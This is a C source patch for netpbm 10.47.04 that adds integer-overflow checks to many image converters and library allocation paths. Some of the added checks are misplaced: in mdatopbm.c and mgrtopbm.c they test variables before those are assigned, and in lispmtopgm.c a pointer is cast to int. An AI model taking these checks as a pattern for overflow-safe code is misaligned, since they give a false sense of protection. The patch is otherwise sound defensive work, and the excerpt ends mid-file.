 converter/ppm/ppmtowinicon.c       |    8 +++++
 converter/ppm/ppmtoxpm.c           |    2 +
 converter/ppm/qrttoppm.c           |    2 -
 converter/ppm/sldtoppm.c           |    2 +
 converter/ppm/ximtoppm.c           |    4 ++
 converter/ppm/xpmtoppm.c           |    1 
 converter/ppm/yuvtoppm.c           |    1 
 editor/pamcut.c                    |    2 +
 editor/pbmpscale.c                 |    1 
 editor/pbmreduce.c                 |    1 
 editor/pnmgamma.c                  |    1 
 editor/pnmhisteq.c                 |    1 
 editor/pnmindex.csh                |    3 +
 editor/pnmpad.c                    |    2 +
 editor/pnmremap.c                  |    3 +
 editor/pnmscalefixed.c             |    7 ++++
 editor/pnmshear.c                  |    6 +++
 editor/ppmdither.c                 |    6 +++
 editor/specialty/pamoil.c          |    1 
 generator/pbmpage.c                |    3 +
 generator/pbmtext.c                |    4 ++
 generator/pgmcrater.c              |    2 -
 generator/pgmkernel.c              |    2 -
 lib/libpam.c                       |    3 +
 lib/libpammap.c                    |    2 +
 lib/libpbm1.c                      |    1 
 lib/libpbmvms.c                    |    2 +
 lib/libpm.c                        |   49 +++++++++++++++++++++++++++++++
 lib/pm.h                           |    7 ++++
 other/pnmcolormap.c                |    1 
 urt/README                         |    5 +++
 urt/Runput.c                       |   10 ++++--
 urt/rle.h                          |   14 +++++++++
 urt/rle_addhist.c                  |   15 ++++++++-
 urt/rle_getrow.c                   |    3 +
 urt/rle_hdr.c                      |   19 ++++++++++--
 urt/rle_open_f.c                   |   57 -------------------------------------
 urt/rle_putcom.c                   |    6 +++
 urt/scanargs.c                     |    6 ++-
 94 files changed, 404 insertions(+), 101 deletions(-)

--- NEW FILE netpbm-security-code.patch ---
diff -up netpbm-10.47.04/analyzer/pgmtexture.c.security netpbm-10.47.04/analyzer/pgmtexture.c
--- netpbm-10.47.04/analyzer/pgmtexture.c.security	2009-10-21 13:38:55.000000000 +0200
+++ netpbm-10.47.04/analyzer/pgmtexture.c	2009-10-21 15:09:33.000000000 +0200
@@ -79,6 +79,9 @@ vector (int nl, int nh)
 {
     float *v;
 
+    if(nh < nl)
+	pm_error("assert: h < l");
+    overflow_add(nh - nl, 1);
     MALLOCARRAY(v, (unsigned) (nh - nl + 1));
     if (v == NULL)
         pm_error("Unable to allocate memory for a vector.");
@@ -95,6 +98,9 @@ matrix (int nrl, int nrh, int ncl, int n
     float **m;
 
     /* allocate pointers to rows */
+    if(nrh < nrl)
+	pm_error("assert: h < l");
+    overflow_add(nrh - nrl, 1);
     MALLOCARRAY(m, (unsigned) (nrh - nrl + 1));
     if (m == NULL)
         pm_error("Unable to allocate memory for a matrix.");
@@ -102,6 +108,9 @@ matrix (int nrl, int nrh, int ncl, int n
     m -= ncl;
 
     /* allocate rows and set pointers to them */
+    if(nch < ncl)
+        pm_error("assert: h < l");
+    overflow_add(nch - ncl, 1);
     for (i = nrl; i <= nrh; i++)
     {
         MALLOCARRAY(m[i], (unsigned) (nch - ncl + 1));
diff -up netpbm-10.47.04/converter/other/gemtopnm.c.security netpbm-10.47.04/converter/other/gemtopnm.c
--- netpbm-10.47.04/converter/other/gemtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/gemtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -106,6 +106,7 @@ main(argc, argv)
 
 	pnm_writepnminit( stdout, cols, rows, MAXVAL, type, 0 );
 
+    overflow_add(cols, padright);
     { 
         /* allocate input row data structure */
         int plane;
diff -up netpbm-10.47.04/converter/other/jpegtopnm.c.security netpbm-10.47.04/converter/other/jpegtopnm.c
--- netpbm-10.47.04/converter/other/jpegtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/jpegtopnm.c	2009-10-21 15:54:30.000000000 +0200
@@ -861,6 +861,8 @@ convertImage(FILE *                     
     /* Calculate output image dimensions so we can allocate space */
     jpeg_calc_output_dimensions(cinfoP);
 
+    overflow2(cinfoP->output_width, cinfoP->output_components);
+
     /* Start decompressor */
     jpeg_start_decompress(cinfoP);
 
diff -up netpbm-10.47.04/converter/other/pbmtopgm.c.security netpbm-10.47.04/converter/other/pbmtopgm.c
--- netpbm-10.47.04/converter/other/pbmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pbmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -47,6 +47,7 @@ main(int argc, char *argv[]) {
                  "than the image height (%u rows)", height, rows);
 
     outrow = pgm_allocrow(cols) ;
+    overflow2(width, height);
     maxval = MIN(PGM_OVERALLMAXVAL, width*height);
     pgm_writepgminit(stdout, cols, rows, maxval, 0) ;
 
diff -up netpbm-10.47.04/converter/other/pngtopnm.c.security netpbm-10.47.04/converter/other/pngtopnm.c
diff -up netpbm-10.47.04/converter/other/pnmtoddif.c.security netpbm-10.47.04/converter/other/pnmtoddif.c
--- netpbm-10.47.04/converter/other/pnmtoddif.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtoddif.c	2009-10-21 15:09:33.000000000 +0200
@@ -632,6 +632,7 @@ main(int argc, char *argv[]) {
     switch (PNM_FORMAT_TYPE(format)) {
     case PBM_TYPE:
         ip.bits_per_pixel = 1;
+        overflow_add(cols, 7);
         ip.bytes_per_line = (cols + 7) / 8;
         ip.spectral = 2;
         ip.components = 1;
@@ -647,6 +648,7 @@ main(int argc, char *argv[]) {
         ip.polarity = 2;
         break;
     case PPM_TYPE:
+        overflow2(cols, 3);
         ip.bytes_per_line = 3 * cols;
         ip.bits_per_pixel = 24;
         ip.spectral = 5;
diff -up netpbm-10.47.04/converter/other/pnmtojpeg.c.security netpbm-10.47.04/converter/other/pnmtojpeg.c
--- netpbm-10.47.04/converter/other/pnmtojpeg.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtojpeg.c	2009-10-21 15:56:32.000000000 +0200
@@ -605,7 +605,11 @@ read_scan_script(j_compress_ptr const ci
            want JPOOL_PERMANENT.  
         */
         const unsigned int scan_info_size = nscans * sizeof(jpeg_scan_info);
-        jpeg_scan_info * const scan_info = 
+        const jpeg_scan_info * scan_info;
+      
+        overflow2(nscans, sizeof(jpeg_scan_info));
+      
+        scan_info =
             (jpeg_scan_info *)
             (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
                                         scan_info_size);
@@ -936,6 +940,8 @@ compute_rescaling_array(JSAMPLE ** const
   const long half_maxval = maxval / 2;
   long val;
 
+  overflow_add(maxval, 1);
+  overflow2(maxval+1, sizeof(JSAMPLE));
   *rescale_p = (JSAMPLE *)
     (cinfo.mem->alloc_small) ((j_common_ptr) &cinfo, JPOOL_IMAGE,
                               (size_t) (((long) maxval + 1L) * 
@@ -1014,6 +1020,7 @@ convert_scanlines(struct jpeg_compress_s
     */
 
   /* Allocate the libpnm output and compressor input buffers */
+  overflow2(cinfo_p->image_width, cinfo_p->input_components);
   buffer = (*cinfo_p->mem->alloc_sarray)
     ((j_common_ptr) cinfo_p, JPOOL_IMAGE,
      (unsigned int) cinfo_p->image_width * cinfo_p->input_components, 
diff -up netpbm-10.47.04/converter/other/pnmtops.c.security netpbm-10.47.04/converter/other/pnmtops.c
--- netpbm-10.47.04/converter/other/pnmtops.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtops.c	2009-10-21 15:09:33.000000000 +0200
@@ -186,16 +186,20 @@ parseCommandLine(int argc, char ** argv,
     cmdlineP->canturn =  !noturn;
     cmdlineP->showpage = !noshowpage;
     
+    overflow2(width, 72);
     cmdlineP->width  = width * 72;
+    overflow2(height, 72);
     cmdlineP->height = height * 72;
 
-    if (imagewidthSpec)
+    if (imagewidthSpec) {
+        overflow2(imagewidth, 72);
         cmdlineP->imagewidth = imagewidth * 72;
-    else
+    } else
         cmdlineP->imagewidth = 0;
-    if (imageheightSpec)
+    if (imageheightSpec) {
+        overflow2(imageheight, 72);
         cmdlineP->imageheight = imageheight * 72;
-    else
+    } else
         cmdlineP->imageheight = 0;
 
     if (!cmdlineP->psfilter &&
diff -up netpbm-10.47.04/converter/other/pnmtorle.c.security netpbm-10.47.04/converter/other/pnmtorle.c
--- netpbm-10.47.04/converter/other/pnmtorle.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtorle.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * pnmtorle - A program which will convert pbmplus (ppm or pgm) images
diff -up netpbm-10.47.04/converter/other/pnmtosgi.c.security netpbm-10.47.04/converter/other/pnmtosgi.c
--- netpbm-10.47.04/converter/other/pnmtosgi.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtosgi.c	2009-10-21 15:09:33.000000000 +0200
@@ -213,6 +213,22 @@ write_channels(cols, rows, channels, put
     }
 }
 
+static void *
+xmalloc2(int x, int y)
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x, y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
+
 static void
 put_big_short(short s)
 {
@@ -250,6 +266,7 @@ build_channels(FILE *ifp, int cols, int 
 #endif
 
     if( storage != STORAGE_VERBATIM ) {
+        overflow2(channels, rows);
         MALLOCARRAY_NOFAIL(table, channels * rows);
         MALLOCARRAY_NOFAIL(rletemp, WORSTCOMPR(cols));
     }
@@ -303,6 +320,8 @@ compress(temp, row, rows, cols, chan_no,
             break;
         case STORAGE_RLE:
             tabrow = chan_no * rows + row;
+            overflow2(chan_no, rows);
+            overflow_add(chan_no* rows, row);
             len = rle_compress(temp, cols);    /* writes result into rletemp */
             channel[chan_no][row].length = len;
             MALLOCARRAY(p, len);
diff -up netpbm-10.47.04/converter/other/rletopnm.c.security netpbm-10.47.04/converter/other/rletopnm.c
--- netpbm-10.47.04/converter/other/rletopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/rletopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * rletopnm - A conversion program to convert from Utah's "rle" image format
diff -up netpbm-10.47.04/converter/other/sgitopnm.c.security netpbm-10.47.04/converter/other/sgitopnm.c
--- netpbm-10.47.04/converter/other/sgitopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sgitopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -252,13 +252,17 @@ read_channels(ifp, head, table, func, oc
 
     if (ochan < 0) {
         maxchannel = (head->zsize < 3) ? head->zsize : 3;
+        overflow2(head->ysize, maxchannel);
         MALLOCARRAY_NOFAIL(image, head->ysize * maxchannel);
     } else {
         maxchannel = ochan + 1;
         MALLOCARRAY_NOFAIL(image, head->ysize);
     }
-    if ( table ) 
+    if ( table ) {
+        overflow2(head->xsize, 2);
+        overflow_add(head->xsize*2, 2);
         MALLOCARRAY_NOFAIL(temp, WORSTCOMPR(head->xsize));
+    }
 
     for( channel = 0; channel < maxchannel;  channel++ ) {
 #ifdef DEBUG
diff -up netpbm-10.47.04/converter/other/sirtopnm.c.security netpbm-10.47.04/converter/other/sirtopnm.c
--- netpbm-10.47.04/converter/other/sirtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sirtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -69,6 +69,7 @@ char* argv[];
 	    }
 	    break;
 	case PPM_TYPE:
+	    overflow3(cols, rows, 3);
 	    picsize = cols * rows * 3;
 	    planesize = cols * rows;
             if ( !( sirarray = (unsigned char*) malloc( picsize ) ) ) 
diff -up netpbm-10.47.04/converter/other/tifftopnm.c.security netpbm-10.47.04/converter/other/tifftopnm.c
--- netpbm-10.47.04/converter/other/tifftopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/tifftopnm.c	2009-10-21 15:49:29.000000000 +0200
@@ -1291,7 +1291,9 @@ convertRasterByRows(pnmOut *       const
     if (scanbuf == NULL)
         pm_error("can't allocate memory for scanline buffer");
 
-    MALLOCARRAY(samplebuf, cols * spp);
+    /* samplebuf is unsigned int * !!! */
+    samplebuf = (unsigned int *) malloc3(cols , sizeof(unsigned int) , spp);
+
     if (samplebuf == NULL)
         pm_error("can't allocate memory for row buffer");
 
diff -up netpbm-10.47.04/converter/other/xwdtopnm.c.security netpbm-10.47.04/converter/other/xwdtopnm.c
--- netpbm-10.47.04/converter/other/xwdtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/xwdtopnm.c	2009-10-21 15:53:27.000000000 +0200
@@ -209,6 +209,10 @@ processX10Header(X10WDFileHeader *  cons
         *colorsP = pnm_allocrow(2);
         PNM_ASSIGN1((*colorsP)[0], 0);
         PNM_ASSIGN1((*colorsP)[1], *maxvalP);
+        overflow_add(h10P->pixmap_width, 15);
+        if(h10P->pixmap_width < 0)
+            pm_error("assert: negative width");
+        overflow2((((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width), 8);
         *padrightP =
             (((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width) * 8;
         *bits_per_itemP = 16;
@@ -634,6 +638,7 @@ processX11Header(X11WDFileHeader *  cons
 
     *colsP = h11FixedP->pixmap_width;
     *rowsP = h11FixedP->pixmap_height;
+    overflow2(h11FixedP->bytes_per_line, 8);
     *padrightP =
         h11FixedP->bytes_per_line * 8 -
         h11FixedP->pixmap_width * h11FixedP->bits_per_pixel;
diff -up netpbm-10.47.04/converter/pbm/icontopbm.c.security netpbm-10.47.04/converter/pbm/icontopbm.c
--- netpbm-10.47.04/converter/pbm/icontopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/icontopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -11,6 +11,7 @@
 */
 
 #include <string.h>
+#include <limits.h>
 
 #include "nstring.h"
 #include "pbm.h"
@@ -87,6 +88,11 @@ ReadIconFile(FILE *                const
     if ( *heightP <= 0 )
         pm_error( "invalid height (must be positive): %d", *heightP );
 
+    if ( *widthP > INT_MAX - 16 || *widthP < 0)
+        pm_error( "invalid width: %d", *widthP);
+    
+    overflow2(*widthP + 16, *heightP);
+    
     data_length = BitmapSize( *widthP, *heightP );
     *dataP = (short unsigned int *) malloc( data_length );
     if ( *dataP == NULL )
diff -up netpbm-10.47.04/converter/pbm/mdatopbm.c.security netpbm-10.47.04/converter/pbm/mdatopbm.c
--- netpbm-10.47.04/converter/pbm/mdatopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mdatopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,10 +245,13 @@ main(int argc, char **argv) {
         pm_readlittleshort(infile, &yy); nInCols = yy;
     }
     
+    overflow2(nOutCols, 8);
     nOutCols = 8 * nInCols;
     nOutRows = nInRows;
-    if (bScale) 
+    if (bScale) {
+        overflow2(nOutRows, 2);
         nOutRows *= 2;
+    }
 
     data = pbm_allocarray(nOutCols, nOutRows);
     
diff -up netpbm-10.47.04/converter/pbm/mgrtopbm.c.security netpbm-10.47.04/converter/pbm/mgrtopbm.c
--- netpbm-10.47.04/converter/pbm/mgrtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mgrtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,8 @@ readMgrHeader(FILE *          const ifP,
     if (head.h_high < ' ' || head.l_high < ' ')
         pm_error("Invalid width field in MGR header");
     
+    overflow_add(*colsP, pad);
+
     *colsP = (((int)head.h_wide - ' ') << 6) + ((int)head.l_wide - ' ');
     *rowsP = (((int)head.h_high - ' ') << 6) + ((int) head.l_high - ' ');
     *padrightP = ( ( *colsP + pad - 1 ) / pad ) * pad - *colsP;
diff -up netpbm-10.47.04/converter/pbm/pbmto10x.c.security netpbm-10.47.04/converter/pbm/pbmto10x.c
--- netpbm-10.47.04/converter/pbm/pbmto10x.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto10x.c	2009-10-21 15:09:33.000000000 +0200
@@ -162,7 +162,7 @@ main(int argc, char * argv[]) {
         res_60x72();
 
     pm_close(ifp);
-    exit(0);
+    return 0;
 }
 
 
diff -up netpbm-10.47.04/converter/pbm/pbmto4425.c.security netpbm-10.47.04/converter/pbm/pbmto4425.c
--- netpbm-10.47.04/converter/pbm/pbmto4425.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto4425.c	2009-10-21 15:09:33.000000000 +0200
@@ -2,6 +2,7 @@
 
 #include "nstring.h"
 #include "pbm.h"
+#include <string.h>
 
 static char bit_table[2][3] = {
 {1, 4, 0x10},
@@ -160,7 +161,7 @@ main(int argc, char * argv[]) {
     xres = vmap_width * 2;
     yres = vmap_height * 3;
 
-    vmap = malloc(vmap_width * vmap_height * sizeof(char));
+    vmap = malloc3(vmap_width, vmap_height, sizeof(char));
     if(vmap == NULL)
 	{
         pm_error( "Cannot allocate memory" );
diff -up netpbm-10.47.04/converter/pbm/pbmtoascii.c.security netpbm-10.47.04/converter/pbm/pbmtoascii.c
--- netpbm-10.47.04/converter/pbm/pbmtoascii.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoascii.c	2009-10-21 15:09:33.000000000 +0200
@@ -115,9 +115,11 @@ char* argv[];
         pm_usage( usage );
 
     pbm_readpbminit( ifp, &cols, &rows, &format );
+    overflow_add(cols, gridx);
     ccols = ( cols + gridx - 1 ) / gridx;
     bitrow = pbm_allocrow( cols );
     sig = (int*) pm_allocrow( ccols, sizeof(int) );
+    overflow_add(ccols, 1);
     line = (char*) pm_allocrow( ccols + 1, sizeof(char) );
 
     for ( row = 0; row < rows; row += gridy )
diff -up netpbm-10.47.04/converter/pbm/pbmtocmuwm.c.security netpbm-10.47.04/converter/pbm/pbmtocmuwm.c
diff -up netpbm-10.47.04/converter/pbm/pbmtogem.c.security netpbm-10.47.04/converter/pbm/pbmtogem.c
--- netpbm-10.47.04/converter/pbm/pbmtogem.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogem.c	2009-10-21 15:09:33.000000000 +0200
@@ -123,6 +123,7 @@ putinit (rows, cols)
   bitsperitem = 0;
   bitshift = 7;
   outcol = 0;
+  overflow_add(cols, 7);
   outmax = (cols + 7) / 8;
   outrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
   lastrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
diff -up netpbm-10.47.04/converter/pbm/pbmtogo.c.security netpbm-10.47.04/converter/pbm/pbmtogo.c
--- netpbm-10.47.04/converter/pbm/pbmtogo.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogo.c	2009-10-21 15:09:33.000000000 +0200
@@ -158,6 +158,7 @@ main(int           argc,
     bitrow = pbm_allocrow(cols);
 
     /* Round cols up to the nearest multiple of 8. */
+    overflow_add(cols, 7);
     rucols = ( cols + 7 ) / 8;
     bytesperrow = rucols;       /* GraphOn uses bytes */
     rucols = rucols * 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtoicon.c.security netpbm-10.47.04/converter/pbm/pbmtoicon.c
--- netpbm-10.47.04/converter/pbm/pbmtoicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoicon.c	2009-10-21 15:38:55.000000000 +0200
@@ -114,6 +114,7 @@ writeIcon(FILE *       const ifP,
     unsigned char * bitrow;
     unsigned int row;
 
+    overflow_add(cols, 15);
     bitbuffer = pbm_allocrow_packed(cols + wordintSize);
     bitrow = &bitbuffer[1];
     bitbuffer[0] = 0;
diff -up netpbm-10.47.04/converter/pbm/pbmtolj.c.security netpbm-10.47.04/converter/pbm/pbmtolj.c
--- netpbm-10.47.04/converter/pbm/pbmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -120,7 +120,11 @@ parseCommandLine(int argc, char ** argv,
 static void
 allocateBuffers(unsigned int const cols) {
 
+    overflow_add(cols, 8);
     rowBufferSize = (cols + 7) / 8;
+    overflow_add(rowBufferSize, 128);
+    overflow_add(rowBufferSize, rowBufferSize+128);
+    overflow_add(rowBufferSize+10, rowBufferSize/8);
     packBufferSize = rowBufferSize + (rowBufferSize + 127) / 128 + 1;
     deltaBufferSize = rowBufferSize + rowBufferSize / 8 + 10;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtomacp.c.security netpbm-10.47.04/converter/pbm/pbmtomacp.c
--- netpbm-10.47.04/converter/pbm/pbmtomacp.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomacp.c	2009-10-21 15:09:33.000000000 +0200
@@ -101,6 +101,7 @@ char *argv[];
   if( !lflg )
     left = 0;
 
+  overflow_add(left, MAX_COLS - 1);
   if( rflg )
   { if( right - left >= MAX_COLS )
       right = left + MAX_COLS - 1;
@@ -111,6 +112,8 @@ char *argv[];
   if( !tflg )
     top = 0;
 
+  overflow_add(top, MAX_LINES - 1);
+
   if( bflg )
   { if( bottom - top >= MAX_LINES )
       bottom = top + MAX_LINES - 1;
diff -up netpbm-10.47.04/converter/pbm/pbmtomda.c.security netpbm-10.47.04/converter/pbm/pbmtomda.c
--- netpbm-10.47.04/converter/pbm/pbmtomda.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomda.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ int main(int argc, char **argv)
     
     nOutRowsUnrounded = bScale ? nInRows/2 : nInRows;
 
+    overflow_add(nOutRowsUnrounded, 3);
     nOutRows = ((nOutRowsUnrounded + 3) / 4) * 4;
         /* MDA wants rows a multiple of 4 */   
     nOutCols = nInCols / 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtomgr.c.security netpbm-10.47.04/converter/pbm/pbmtomgr.c
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -105,6 +105,7 @@ int pbm_readline(pbm_stat* pbm,unsigned 
     return 0;
 
   case P4:
+    overflow_add(pbm->width, 7);
     tmp=(pbm->width+7)/8;
     tmp2=fread(data,1,tmp,pbm->fptr);
     if(tmp2 == tmp)
@@ -129,7 +130,8 @@ void pbm_unreadline (pbm_stat *pbm, void
     return;
 
   pbm->unread = 1;
-  pbm->revdata = malloc ((pbm->width+7)/8);
+  overflow_add(pbm->width, 7);
+  pbm->revdata = malloc((pbm->width+7)/8);
   memcpy (pbm->revdata, data, (pbm->width+7)/8);
   pbm->current_line--;
 }
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c	2009-10-21 15:09:33.000000000 +0200
@@ -441,6 +441,7 @@ main(int argc, char *argv[]) {
             pm_error("main(): unrecognized parameter '%s'", argv[argn]);
     }
 
+    overflow_add(Width, 7);
     Pwidth=(Width+7)/8;
     printer.fptr=out;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security netpbm-10.47.04/converter/pbm/pbmtoxbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoxbm.c	2009-10-21 15:36:54.000000000 +0200
@@ -335,6 +335,8 @@ convertRaster(FILE *          const ifP,
 
     unsigned char * bitrow;
     unsigned int row;
+    
+    overflow_add(cols, padright);
 
     putinit(xbmVersion);
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoybm.c.security netpbm-10.47.04/converter/pbm/pbmtoybm.c
--- netpbm-10.47.04/converter/pbm/pbmtoybm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoybm.c	2009-10-21 15:09:33.000000000 +0200
@@ -45,6 +45,7 @@ main( argc, argv )
     bitrow = pbm_allocrow( cols );
     
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     putinit( cols, rows );
diff -up netpbm-10.47.04/converter/pbm/pbmtozinc.c.security netpbm-10.47.04/converter/pbm/pbmtozinc.c
--- netpbm-10.47.04/converter/pbm/pbmtozinc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtozinc.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,7 @@ main(int argc, char * argv[]) {
     bitrow = pbm_allocrow( cols );
 
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     printf( "USHORT %s[] = {\n",name);
diff -up netpbm-10.47.04/converter/pbm/pktopbm.c.security netpbm-10.47.04/converter/pbm/pktopbm.c
--- netpbm-10.47.04/converter/pbm/pktopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pktopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -277,6 +277,7 @@ main(int argc, char *argv[]) {
         if (flagbyte == 7) {            /* long form preamble */
             integer packetlength = get32() ;    /* character packet length */
             car = get32() ;         /* character number */
+            overflow_add(packetlength, pktopbm_pkloc);
             endofpacket = packetlength + pktopbm_pkloc;
                 /* calculate end of packet */
             if ((car >= MAXPKCHAR) || !filename[car]) {
diff -up netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security netpbm-10.47.04/converter/pbm/thinkjettopbm.l
--- netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/thinkjettopbm.l	2009-10-21 15:09:33.000000000 +0200
@@ -107,7 +107,9 @@ DIG             [0-9]
 <RASTERMODE>\033\*b{DIG}+W  {
                             int l;
                             if (rowCount >= rowCapacity) {
+				overflow_add(rowCapacity, 100);
                                 rowCapacity += 100;
+				overflow2(rowCapacity, sizeof *rows);
                                 rows = realloc (rows, rowCapacity * sizeof *rows);
                                 if (rows == NULL)
                                     pm_error ("Out of memory.");
@@ -217,6 +219,8 @@ yywrap (void)
     /*
      * Quite simple since ThinkJet bit arrangement matches PBM
      */
+
+    overflow2(maxRowLength, 8);
     pbm_writepbminit(stdout, maxRowLength*8, rowCount, 0);
 
     packed_bitrow = malloc(maxRowLength);
diff -up netpbm-10.47.04/converter/pbm/ybmtopbm.c.security netpbm-10.47.04/converter/pbm/ybmtopbm.c
--- netpbm-10.47.04/converter/pbm/ybmtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/ybmtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -88,6 +88,7 @@ getinit( file, colsP, rowsP, depthP, pad
 	pm_error( "EOF / read error" );
 
     *depthP = 1;
+    overflow_add(*colsP, 15);
     *padrightP = ( ( *colsP + 15 ) / 16 ) * 16 - *colsP;
     bitsperitem = 0;
     }
diff -up netpbm-10.47.04/converter/pgm/lispmtopgm.c.security netpbm-10.47.04/converter/pgm/lispmtopgm.c
--- netpbm-10.47.04/converter/pgm/lispmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/lispmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -58,6 +58,7 @@ main( argc, argv )
         pm_error( "depth (%d bits) is too large", depth);
 
     pgm_writepgminit( stdout, cols, rows, (gray) maxval, 0 );
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow( ( cols + 7 ) / 8 * 8 );
 
     for ( row = 0; row < rows; ++row )
@@ -102,7 +103,9 @@ getinit( file, colsP, rowsP, depthP, pad
     
     if ( *depthP == 0 )
 	*depthP = 1;	/* very old file */
-    
+
+    overflow_add((int)colsP, 31);
+        
     *padrightP = ( ( *colsP + 31 ) / 32 ) * 32 - *colsP;
     
     if ( *colsP != (cols_32 - *padrightP) ) {
diff -up netpbm-10.47.04/converter/pgm/psidtopgm.c.security netpbm-10.47.04/converter/pgm/psidtopgm.c
--- netpbm-10.47.04/converter/pgm/psidtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/psidtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -78,6 +78,7 @@ main(int     argc,
         pm_error("bits/sample (%d) is too large.", bitspersample);
 
     pgm_writepgminit(stdout, cols, rows, maxval, 0);
+    overflow_add(cols, 7);
